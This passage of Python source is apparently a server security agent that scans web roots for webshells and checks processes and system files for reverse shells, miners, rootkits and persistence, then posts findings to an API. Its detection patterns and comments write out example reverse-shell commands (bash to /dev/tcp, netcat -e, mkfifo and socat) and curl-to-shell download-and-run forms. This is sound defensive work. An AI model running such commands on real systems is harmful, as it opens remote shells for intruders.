    for match in re.finditer(r"[A-Za-z0-9+/=]{%d,}" % ENTROPY_TOKEN, text):
        token = match.group(0)
        if _shannon(token) > ENTROPY_LIMIT:
            return token
    return None


def score_webshell(path, text):
    """Score one file from combined signals. A single keyword stays below the report threshold."""
    ext = _extension(path)
    signals = []
    snippet = ""
    if ext in SCRIPT_EXTENSIONS:
        execution = _first_match(_EXEC_PATTERNS, text)
        if execution:
            signals.append("execution_sink")
            snippet = _snippet(text, execution.start(), execution.end())
        obfuscation = _first_match(_OBFUSCATION_PATTERNS, text)
        entropy = _high_entropy(text) if ext in ENTROPY_EXTENSIONS else None
        if obfuscation or entropy:
            signals.append("obfuscation")
            if snippet == "" and obfuscation:
                snippet = _snippet(text, obfuscation.start(), obfuscation.end())
            elif snippet == "" and entropy:
                snippet = entropy[:24] + "…"
        user_input = _first_match(_INPUT_PATTERNS, text)
        if user_input:
            signals.append("user_input")
            if snippet == "":
                snippet = _snippet(text, user_input.start(), user_input.end())
    lowered = path.replace("\\", "/").lower()
    if ext in RISK_EXTENSIONS and any(marker in lowered for marker in RISK_LOCATIONS):
        signals.append("high_risk_location")
        if snippet == "":
            snippet = "script file inside a writable directory"
    if not signals:
        return None
    score = sum(SIGNAL_WEIGHTS[name] for name in signals)
    if score < RISK_THRESHOLD and "high_risk_location" not in signals:
        return None
    return score, signals, snippet


def inspect_webshell(path, data):
    """Return at most one scored finding. The scan does not change the file."""
    text = data.decode("utf-8", "replace") if isinstance(data, (bytes, bytearray)) else str(data)
    scored = score_webshell(path, text)
    if scored is None:
        return []
    score, signals, snippet = scored
    item = _finding(
        "webshell.multi_signal",
        "critical" if score >= 90 else "warning",
        "webshell",
        path,
        "",
        "",
        "",
        snippet or "combined risk signals",
    )
    item["risk_score"] = min(100, score)
    item["matched_signals"] = list(signals)[:8]
    item["file_path"] = path
    return [item]


def _owner_mode(st):
    owner = str(st.st_uid)
    try:
        import pwd
        owner = pwd.getpwuid(st.st_uid).pw_name
    except (ImportError, KeyError, OSError):
        pass
    return owner, format(stat.S_IMODE(st.st_mode), "o")


def _skipped_file(path):
    norm = path.replace("\\", "/")
    if "/opt/portgate/" in norm or norm.rstrip("/").endswith("/opt/portgate"):
        return True
    if "/storage/framework/" in norm or "/storage/logs/" in norm or "/bootstrap/cache/" in norm:
        return True
    return os.path.basename(path) in SECRET_NAMES


def discover_web_roots():
    roots = []
    for candidate in ("/var/www", "/srv", "/opt"):
        if os.path.isdir(candidate):
            roots.append(candidate)
    home = "/home"
    if os.path.isdir(home):
        try:
            names = os.listdir(home)
        except OSError:
            names = []
        for name in names:
            public = os.path.join(home, name, "public_html")
            if os.path.isdir(public):
                roots.append(public)
    return roots


def malware_settings(config):
    raw = config.get("malware")
    if not isinstance(raw, dict):
        raw = {}
    roots = []
    configured = raw.get("web_roots")
    if isinstance(configured, list):
        for item in configured:
            if isinstance(item, str) and item.strip():
                roots.append(item.strip())
    if not roots:
        roots = discover_web_roots()
    state = raw.get("state_db")
    if not isinstance(state, str) or not state.strip():
        state = MALWARE_STATE_DB
    return roots, state


def _connect_state(path):
    parent = os.path.dirname(path)
    if parent:
        os.makedirs(parent, exist_ok=True)
    conn = sqlite3.connect(path, timeout=30)
    conn.execute("CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY, mtime REAL NOT NULL, size INTEGER NOT NULL, sha256 TEXT NOT NULL)")
    conn.execute("CREATE TABLE IF NOT EXISTS seen_markers (kind TEXT NOT NULL, marker_key TEXT NOT NULL, sha256 TEXT NOT NULL, PRIMARY KEY (kind, marker_key))")
    # The server resolves anything a full scan leaves out, so a finding is stored with
    # its file or marker and sent again on every scan until the file changes or goes away.
    for table in ("scanned_files", "seen_markers"):
        columns = {row[1] for row in conn.execute(f"PRAGMA table_info({table})")}
        if "finding" not in columns:
            conn.execute(f"ALTER TABLE {table} ADD COLUMN finding TEXT")
            if table == "scanned_files":
                # Older state has no stored findings, so rescan every file once.
                conn.execute("DELETE FROM scanned_files")
    return conn


def _stored_findings(raw):
    if not raw:
        return []
    try:
        items = json.loads(raw)
    except (TypeError, ValueError):
        return []
    return [item for item in items if isinstance(item, dict)] if isinstance(items, list) else []


def _marker_baselining(conn, kind):
    return conn.execute("SELECT 1 FROM seen_markers WHERE kind = ? LIMIT 1", (kind,)).fetchone() is None


def _marker_findings(conn, kind, key, digest, baselining, build):
    """Findings for one marker: new on first sight after the baseline, repeated while it is unchanged."""
    row = conn.execute("SELECT sha256, finding FROM seen_markers WHERE kind = ? AND marker_key = ?", (kind, key)).fetchone()
    if row is not None and row[0] == digest:
        return _stored_findings(row[1])
    status = "added" if row is None else "changed"
    items = [] if baselining else [build(status)]
    stored = json.dumps(items) if items else None
    if row is None:
        conn.execute("INSERT INTO seen_markers (kind, marker_key, sha256, finding) VALUES (?, ?, ?, ?)", (kind, key, digest, stored))
    else:
        conn.execute("UPDATE seen_markers SET sha256 = ?, finding = ? WHERE kind = ? AND marker_key = ?", (digest, stored, kind, key))
    return items


def scan_web_roots(conn, roots):
    findings = []
    scanned = 0
    for root in roots:
        if not os.path.isdir(root):
            continue
        base_depth = os.path.abspath(root).count(os.sep)
        for dirpath, dirnames, filenames in os.walk(root):
            depth = os.path.abspath(dirpath).count(os.sep) - base_depth
            if depth >= 12:
                dirnames[:] = []
            dirnames[:] = [name for name in dirnames if name not in SKIP_DIRS]
            for name in filenames:
                if scanned >= 50000:
                    conn.commit()
                    return scanned, findings
                path = os.path.join(dirpath, name)
                allowed = OPT_EXTENSIONS if os.path.abspath(root) == "/opt" else SCRIPT_EXTENSIONS
                if _skipped_file(path) or _extension(path) not in allowed:
                    continue
                try:
                    st = os.lstat(path)
                except OSError:
                    continue
                if not stat.S_ISREG(st.st_mode):
                    continue
                scanned += 1
                cached = conn.execute("SELECT mtime, size, sha256, finding FROM scanned_files WHERE path = ?", (path,)).fetchone()
                if cached and cached[1] == st.st_size and abs(cached[0] - st.st_mtime) < 0.001:
                    findings.extend(_stored_findings(cached[3]))
                    continue
                try:
                    digest_obj = hashlib.sha256()
                    chunks = []
                    kept = 0
                    with open(path, "rb") as handle:
                        while True:
                            block = handle.read(65536)
                            if not block:
                                break
                            digest_obj.update(block)
                            if kept < MAX_SCAN_BYTES:
                                chunks.append(block)
                                kept += len(block)
                    data = b"".join(chunks)[:MAX_SCAN_BYTES]
                except OSError:
                    continue
                digest = digest_obj.hexdigest()
                owner, permissions = _owner_mode(st)
                file_findings = []
                for item in inspect_webshell(path, data):
                    item["sha256"] = digest
                    item["file_hash"] = digest
                    item["path"] = path
                    item["file_path"] = path
                    item["owner"] = owner
                    item["permissions"] = permissions
                    item["size_bytes"] = st.st_size
                    file_findings.append(item)
                findings.extend(file_findings)
                stored = json.dumps(file_findings) if file_findings else None
                if cached is None:
                    conn.execute("INSERT INTO scanned_files (path, mtime, size, sha256, finding) VALUES (?, ?, ?, ?, ?)", (path, st.st_mtime, st.st_size, digest, stored))
                else:
                    conn.execute("UPDATE scanned_files SET mtime = ?, size = ?, sha256 = ?, finding = ? WHERE path = ?", (st.st_mtime, st.st_size, digest, stored, path))
    conn.commit()
    return scanned, findings


def _read_text(path, limit=65536):
    try:
        with open(path, "rb") as handle:
            return handle.read(limit).decode("utf-8", "replace")
    except OSError:
        return ""


def scan_processes():
    findings = []
    remote_inodes = None
    proc = "/proc"
    if not os.path.isdir(proc):
        return findings
    try:
        names = os.listdir(proc)
    except OSError:
        return findings
    for name in names:
        if not name.isdigit() or len(findings) >= 50:
            continue
        base = os.path.join(proc, name)
        pid = int(name)
        try:
            exe = os.readlink(os.path.join(base, "exe"))
        except OSError:
            exe = ""
        cmdline = _read_text(os.path.join(base, "cmdline"), 4096).replace("\x00", " ").strip()
        lowered = (exe + " " + cmdline).lower()
        if "portgate/agent.py" in lowered:
            continue
        if exe.startswith(("/tmp/", "/dev/shm/", "/var/tmp/")) or "memfd:" in exe:
            findings.append(_finding("fileless.tmp_exec", "critical", "fileless", exe or base, "", "", "", os.path.basename(exe or "process"), pid))
        if exe.endswith("(deleted)"):
            findings.append(_finding("fileless.deleted_exe", "critical", "fileless", exe, "", "", "", "deleted executable still running", pid))
        environ = _read_text(os.path.join(base, "environ"), 65536)
        for entry in environ.split("\x00"):
            if entry.startswith("LD_PRELOAD="):
                library = entry.split("=", 1)[1][:160]
                findings.append(_finding("fileless.ld_preload", "critical", "fileless", library, "", "", "", "LD_PRELOAD", pid))
                break
        if any(marker in lowered for marker in MINER_MARKERS):
            findings.append(_finding("fileless.miner", "critical", "fileless", exe or base, "", "", "", "miner process", pid))
        reason = reverse_shell_reason(cmdline)
        if reason is None and os.path.basename(exe) in SHELL_NAMES:
            if remote_inodes is None:
                remote_inodes = remote_tcp_inodes()
            reason = _shell_on_tcp_socket(base, remote_inodes)
        if reason:
            findings.append(_finding("fileless.reverse_shell", "critical", "fileless", exe or base, "", "", "", reason, pid))
    return findings


SHELL_NAMES = {"sh", "bash", "dash", "zsh", "ash", "ksh", "busybox"}
_SHELL = r"(?:/bin/|/usr/bin/)?(?:ba|da|z|k)?sh\b"
REVERSE_SHELL_PATTERNS = [
    # bash -i >& /dev/tcp/203.0.113.5/4444 0>&1 (a host and a port, not just the path)
    (re.compile(r"/dev/(?:tcp|udp)/[A-Za-z0-9.\-]+/\d{1,5}"), "shell redirected to /dev/tcp"),
    # nc -e /bin/sh host port, ncat --exec, netcat -c bash
    (re.compile(r"\b(?:nc|ncat|netcat)\b[^\n]{0,80}\s(?:-[ec]|--exec|--sh-exec)\s*['\"]?" + _SHELL), "netcat running a shell"),
    # rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc host port > /tmp/f
    (re.compile(r"mkfifo\b[^\n]{0,120}\|\s*(?:nc|ncat|netcat)\b"), "named-pipe shell over netcat"),
    # socat exec:'bash -li',pty tcp:host:port
    (re.compile(r"\bsocat\b[^\n]*\bexec:[^\n]{0,20}?" + _SHELL, re.IGNORECASE), "socat running a shell"),
]
# python -c / perl -e / ruby -e / php -r one-liners that open a socket and hand it a shell
_ONE_LINER = re.compile(r"\b(?:python[\d.]*|perl|ruby|php)\s+-[cer]\b")
_ONE_LINER_SOCKET = re.compile(r"socket|fsockopen|TCPSocket", re.IGNORECASE)
_ONE_LINER_SHELL = re.compile(r"dup2|pty\.spawn|/bin/(?:ba)?sh|exec\s*\(|STDIN->fdopen|proc_open", re.IGNORECASE)


def reverse_shell_reason(cmdline):
    """Why a command line looks like a reverse shell, or None. Mentioning /dev/tcp or
    importing socket is not enough: the command has to wire a shell to a connection."""
    if not cmdline:
        return None
    for pattern, reason in REVERSE_SHELL_PATTERNS:
        if pattern.search(cmdline):
            return reason
    for match in _ONE_LINER.finditer(cmdline):
        # Only the script after -c/-e counts, so "/bin/bash -c 'python3 -c ...'" wrappers
        # do not supply the shell themselves.
        script = cmdline[match.end():]
        if _ONE_LINER_SOCKET.search(script) and _ONE_LINER_SHELL.search(script):
            return "script one-liner giving a socket a shell"
    return None


def parse_remote_tcp_inodes(text):
    """Socket inodes of established TCP connections to a non-loopback peer (/proc/net/tcp format)."""
    inodes = set()
    for line in text.splitlines()[1:]:
        parts = line.split()
        if len(parts) < 10 or parts[3] != "01":  # 01 = ESTABLISHED
            continue
        remote = parts[2].split(":")[0]
        if remote in {"0100007F", "00000000000000000000000001000000", "0000000000000000FFFF00000100007F"}:
            continue  # 127.0.0.1 and ::1 (and v4-mapped loopback)
        if len(remote) == 8 and remote.endswith("7F"):
            continue  # rest of 127.0.0.0/8, little-endian
        inodes.add(parts[9])
    return inodes


def remote_tcp_inodes():
    inodes = set()
    for path in ("/proc/net/tcp", "/proc/net/tcp6"):
        inodes |= parse_remote_tcp_inodes(_read_text(path, 4 * 1024 * 1024))
    return inodes


def _shell_on_tcp_socket(base, remote_inodes):
    """A shell whose stdin or stdout is a TCP connection to another host. Shells started by
    Node, systemd or supervisors use pipes or local socketpairs, which are not in the set."""
    if not remote_inodes:
        return None
    for fd in ("0", "1"):
        try:
            target = os.readlink(os.path.join(base, "fd", fd))
        except OSError:
            continue
        match = re.fullmatch(r"socket:\[(\d+)\]", target)
        if match and match.group(1) in remote_inodes:
            return "shell attached to a network connection"
    return None


def scan_persistence(conn):
    findings = []
    preload = _read_text("/etc/ld.so.preload", 4096)
    if any(line.strip() and not line.strip().startswith("#") for line in preload.splitlines()):
        digest = hashlib.sha256(preload.encode("utf-8", "replace")).hexdigest()
        findings.append(_finding("rootkit.ld_preload", "critical", "rootkit", "/etc/ld.so.preload", digest, "root", "", "non-empty ld.so.preload"))
    passwd = _read_text("/etc/passwd", 200000)
    for line in passwd.splitlines():
        parts = line.split(":")
        if len(parts) < 7:
            continue
        user, _shadow, uid, _gid, _gecos, _home, shell = parts[:7]
        shell_name = os.path.basename(shell)
        if uid == "0" and user != "root":
            findings.append(_finding("persistence.uid0", "critical", "persistence", "/etc/passwd", "", user, "", "extra uid 0 account " + user))
        elif user in {"www-data", "nobody", "daemon"} and shell_name not in {"nologin", "false", "sync"}:
            findings.append(_finding("persistence.service_shell", "warning", "persistence", "/etc/passwd", "", user, "", "login shell on " + user))
    ssh_baseline = _marker_baselining(conn, "ssh_key")
    for keys_path in ["/root/.ssh/authorized_keys"]:
        _scan_authorized_keys(conn, findings, keys_path, ssh_baseline)
    home = "/home"
    if os.path.isdir(home):
        try:
            homes = os.listdir(home)
        except OSError:
            homes = []
        for name in homes:
            _scan_authorized_keys(conn, findings, os.path.join(home, name, ".ssh", "authorized_keys"), ssh_baseline)
    # Miners hide in dot-directories such as /tmp/.X25-unix or /dev/shm/.x. A plain
    # hidden file (a lock or marker) is normal, so only directories and executables count.
    for base in ("/dev", "/dev/shm", "/tmp", "/var/tmp"):
        try:
            entries = os.listdir(base)
        except OSError:
            continue
        for entry in entries:
            if not entry.startswith(".") or entry in KNOWN_DOTS or entry in {".", ".."}:
                continue
            full = os.path.join(base, entry)
            try:
                st = os.lstat(full)
            except OSError:
                continue
            if stat.S_ISDIR(st.st_mode):
                findings.append(_finding("rootkit.hidden_dot", "warning", "rootkit", full, "", "", "", "hidden directory"))
            elif stat.S_ISREG(st.st_mode) and st.st_mode & 0o111:
                findings.append(_finding("rootkit.hidden_dot", "warning", "rootkit", full, "", "", "", "hidden executable file"))
    _scan_unit_hashes(conn, findings)
    return findings


def _scan_authorized_keys(conn, findings, path, baselining):
    text = _read_text(path, 65536)
    if text == "":
        return
    for line in text.splitlines():
        stripped = line.strip()
        if not stripped or stripped.startswith("#"):
            continue
        digest = hashlib.sha256(stripped.encode("utf-8", "replace")).hexdigest()
        findings.extend(_marker_findings(
            conn, "ssh_key", path + "\n" + digest, digest, baselining,
            lambda _status, path=path, digest=digest: _finding("persistence.authorized_key", "warning", "persistence", path, digest, "", "", "new authorized_keys entry " + digest[:12]),
        ))


DOWNLOAD_EXEC_RE = re.compile(
    r"(?:curl|wget|fetch)\b[^\n]*\|\s*(?:ba|da|z)?sh\b"
    r"|base64\s+(?:-d|--decode)[^\n]*\|\s*(?:ba|da|z)?sh\b"
    r"|/dev/tcp/\d",
    re.IGNORECASE,
)


def _unit_finding(path, digest, status, text):
    match = DOWNLOAD_EXEC_RE.search(text)
    if match:
        return _finding("persistence.download_exec", "critical", "persistence", path, digest, "", "", "downloads and runs code: " + match.group(0)[:100])
    return _finding("persistence.unit_hash", "warning", "persistence", path, digest, "", "", "cron or systemd unit " + status)


def _scan_unit_hashes(conn, findings):
    baselining = _marker_baselining(conn, "unit")
    paths = []
    if os.path.isfile("/etc/crontab"):
        paths.append("/etc/crontab")
    for directory in ("/etc/cron.d", "/etc/systemd/system"):
        if not os.path.isdir(directory):
            continue
        try:
            names = os.listdir(directory)
        except OSError:
            continue
        for name in names:
            if name.startswith("portgate"):
                continue
            paths.append(os.path.join(directory, name))
    for path in paths:
        if not os.path.isfile(path):
            continue
        text = _read_text(path, 131072)
        digest = hashlib.sha256(text.encode("utf-8", "replace")).hexdigest()
        findings.extend(_marker_findings(
            conn, "unit", path, digest, baselining,
            lambda status, path=path, digest=digest, text=text: _unit_finding(path, digest, status, text),
        ))


def scan_suid():
    findings = []
    roots = ["/tmp", "/var/tmp", "/dev/shm", "/home", "/opt", "/usr/local", "/var/www", "/srv", "/root"]
    seen = 0
    for root in roots:
        if not os.path.isdir(root) or len(findings) >= 30:
            continue
        base_depth = os.path.abspath(root).count(os.sep)
        for dirpath, dirnames, filenames in os.walk(root):
            depth = os.path.abspath(dirpath).count(os.sep) - base_depth
            if depth >= 6:
                dirnames[:] = []
            dirnames[:] = [name for name in dirnames if name not in SKIP_DIRS]
            for name in filenames:
                seen += 1
                if seen > 20000 or len(findings) >= 30:
                    return findings
                path = os.path.join(dirpath, name)
                if path.startswith(ALLOWED_SUID_PREFIXES) or "/opt/portgate/" in path:
                    continue
                try:
                    st = os.lstat(path)
                except OSError:
                    continue
                if not stat.S_ISREG(st.st_mode):
                    continue
                if st.st_mode & (stat.S_ISUID | stat.S_ISGID):
                    owner, permissions = _owner_mode(st)
                    rule = "rootkit.suid" if st.st_mode & stat.S_ISUID else "rootkit.sgid"
                    findings.append(_finding(rule, "warning", "rootkit", path, "", owner, permissions, "unexpected privileged binary"))
    return findings


def collect_malware_report(config, full=True):
    roots, state_path = malware_settings(config)
    findings = scan_processes()
    files_scanned = 0
    scopes = ["fileless"]
    conn = None
    try:
        if full:
            conn = _connect_state(state_path)
            files_scanned, file_findings = scan_web_roots(conn, roots)
            findings.extend(file_findings)
            findings.extend(scan_persistence(conn))
            findings.extend(scan_suid())
            conn.commit()
            scopes = ["webshell", "fileless", "persistence", "rootkit"]
    finally:
        if conn is not None:
            conn.close()
    trimmed = []
    for item in findings[:100]:
        item["snippet"] = str(item.get("snippet") or "")[:160]
        trimmed.append(item)
    return {
        "hostname": socket.gethostname(),
        "files_scanned": files_scanned,
        "scopes": scopes,
        "findings": trimmed,
    }


def malware_api_settings(config):
    api_url = str(config.get("api_url") or "").strip().rstrip("/")
    api_token = str(config.get("malware_token") or config.get("api_token") or "").strip()
    if not api_url.startswith(("http://", "https://")):
        raise SystemExit("api_url must start with http:// or https://")
    if not api_token or any(char in api_token for char in "\r\n"):
        raise SystemExit("malware_token is missing or invalid")
    return api_url, api_token


def post_malware(config, report):
    api_url, api_token = malware_api_settings(config)
    url = api_url + MALWARE_SCAN_PATH
    payload = json.dumps(report).encode("utf-8")
    request = urllib.request.Request(
        url,
        data=payload,
        headers={
            "Content-Type": "application/json",
            "Authorization": f"Bearer {api_token}",
            "User-Agent": "portgate-agent",
        },
        method="POST",
    )
    opener = urllib.request.build_opener(_RejectRedirect)
    try:
        with opener.open(request, timeout=30) as response:
            response.read()
            print(f"malware scan posted {response.status} {url}")
    except urllib.error.HTTPError as exc:
        body = exc.read().decode("utf-8", "replace")[:500]
        raise SystemExit(f"malware scan failed: HTTP {exc.code} {body}") from None
    except urllib.error.URLError as exc:
        raise SystemExit(f"malware scan failed: {exc.reason}") from None


def run_malware(config, watch=False):
    next_full = 0
    while True:
        full = time.time() >= next_full
        try:
            post_malware(config, collect_malware_report(config, full=full))
        except SystemExit as exc:
            if not watch:
                raise
            os.write(2, f"malware scan failed: {exc}\n".encode())
        if not watch:
            return
        if full:
            next_full = time.time() + 15 * 60
        time.sleep(60)


# --- cli --------------------------------------------------------------------

def main(argv=None):
    parser = argparse.ArgumentParser(prog="portgate-agent")
    parser.add_argument("--mode", required=True, choices=("server", "ai-proxy", "all", "malware"))
    parser.add_argument("--config", default=CONFIG_PATH)
    args = parser.parse_args(argv)
    config = load_config(args.config)
    if args.mode == "malware":
        watch_file = os.path.join(os.path.dirname(os.path.abspath(args.config)), "malware.watch")
        watch = os.environ.get("PORTGATE_MALWARE_WATCH") == "1" or os.path.isfile(watch_file)
        run_malware(config, watch=watch)
        return
    if args.mode in ("server", "all"):
        post_heartbeat(config, build_snapshot())
    if args.mode == "all":
        post_malware(config, collect_malware_report(config, full=True))
    if args.mode in ("ai-proxy", "all"):
        serve_ai_proxy(config)


if __name__ == "__main__":
    main()